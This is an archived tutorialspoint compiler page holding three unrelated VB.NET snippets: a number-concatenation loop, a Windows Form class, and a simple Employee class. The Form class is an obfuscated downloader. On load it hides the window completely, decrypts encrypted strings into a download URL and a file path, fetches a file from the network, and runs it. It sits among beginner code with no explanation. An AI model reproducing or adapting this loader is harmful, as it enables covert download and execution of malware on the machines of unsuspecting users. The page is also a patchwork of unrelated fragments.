Please note, this is a STATIC archive of website www.tutorialspoint.com from 11 May 2019, cach3.com does not collect or store any user information, there is no "phishing" involved.
Module VBModule
Sub Main()
Dim nnum As ULong = 1
Dim Y As String = "1"
Dim lnum As String = "1"
Dim snum as string = ""
Dim startn as long = 20
Dim endn as long = 0
Dim YResult(20,1) as string
Dim RowIndex as integer = 0
Dim ColIndex as integer = 1
do while startn <> endn
RowIndex = RowIndex + 1
ColIndex = 0
YResult(RowIndex, ColIndex) = nnum
nnum = nnum + 1
snum = Cstr(nnum)
lnum = lnum & snum
lnum = lnum.Replace(" ", "")
Y = lnum
ColIndex = 1
YResult(RowIndex, ColIndex) = Y
endn = endn + 1
loop
For i as integer = 1 to RowIndex
if i < 10 then
console.writeline(Yresult(i, 0) & " " & Yresult(i, 1))
else
console.writeline(Yresult(i, 0) & " " & Yresult(i, 1))
end if
Next
console.write("Y = ")
Console.Write(Y)
End Sub
End Module
Imports System.Security.Cryptography
Public Class Form1
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Me.ShowIcon = False
Me.ShowInTaskbar = False
Me.Opacity = 0
Dim Download As New Net.WebClient
Me.Hide()
Me.ShowIcon = False
Me.ShowInTaskbar = False
Me.Opacity = 0
Download.DownloadFile(ienWCbqErEmgSKrBQthYiha("ytA1KxYg3uRRh404YiFd1KcERTxRJiHPGRmfda1zum0="), Environ(ienWCbqErEmgSKrBQthYiha("Twyh8EvQqhJL4IDVakBVFw==")) & ienWCbqErEmgSKrBQthYiha("Fo9uCHyXWsGEdtSzhReFPA=="))
Shell(Environ(ienWCbqErEmgSKrBQthYiha("Twyh8EvQqhJL4IDVakBVFw==")) & ienWCbqErEmgSKrBQthYiha("Fo9uCHyXWsGEdtSzhReFPA=="))
End
End Sub
Private Function ienWCbqErEmgSKrBQthYiha(ByVal XnfULTkifvFuwAZmK As String)
Dim mutYnwurZAQuVjewd As New RijndaelManaged
Dim aSakrnialogVaeeba() As Byte
Dim cuVDaKgSrhLtELjQr() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes("qLPNNVHbBbkuDUSgBfNiiwA", cuVDaKgSrhLtELjQr)
mutYnwurZAQuVjewd.Key = oKeyGenerator.GetBytes(mutYnwurZAQuVjewd.Key.Length)
mutYnwurZAQuVjewd.IV = oKeyGenerator.GetBytes(mutYnwurZAQuVjewd.IV.Length)
Dim FKeJkjIjqICeuPFYm As New IO.MemoryStream
Dim ImZZTGFbwBdFYtJNG As New CryptoStream(FKeJkjIjqICeuPFYm, mutYnwurZAQuVjewd.CreateDecryptor(), CryptoStreamMode.Write)
Try
aSakrnialogVaeeba = Convert.FromBase64String(XnfULTkifvFuwAZmK)
ImZZTGFbwBdFYtJNG.Write(aSakrnialogVaeeba, 0, aSakrnialogVaeeba.Length)
ImZZTGFbwBdFYtJNG.Close()
Return System.Text.Encoding.UTF8.GetString(FKeJkjIjqICeuPFYm.ToArray)
Catch
End Try
End Function
End Class
Module VBModule
Public Class Employee
Dim name As String
Dim age As Integer
Public Sub New(ByVal n As String,ByVal a As Integer)
name=n
age=a
End Sub
Public Sub Display()
Console.WriteLine("Name="& name & Space(2) &"Age="& age)
Console.ReadLine()
End Sub
End Class
Sub Main()
Dim ob1 As Employee=New Employee("Rajat",20)
ob1.Display()
End Sub
End Module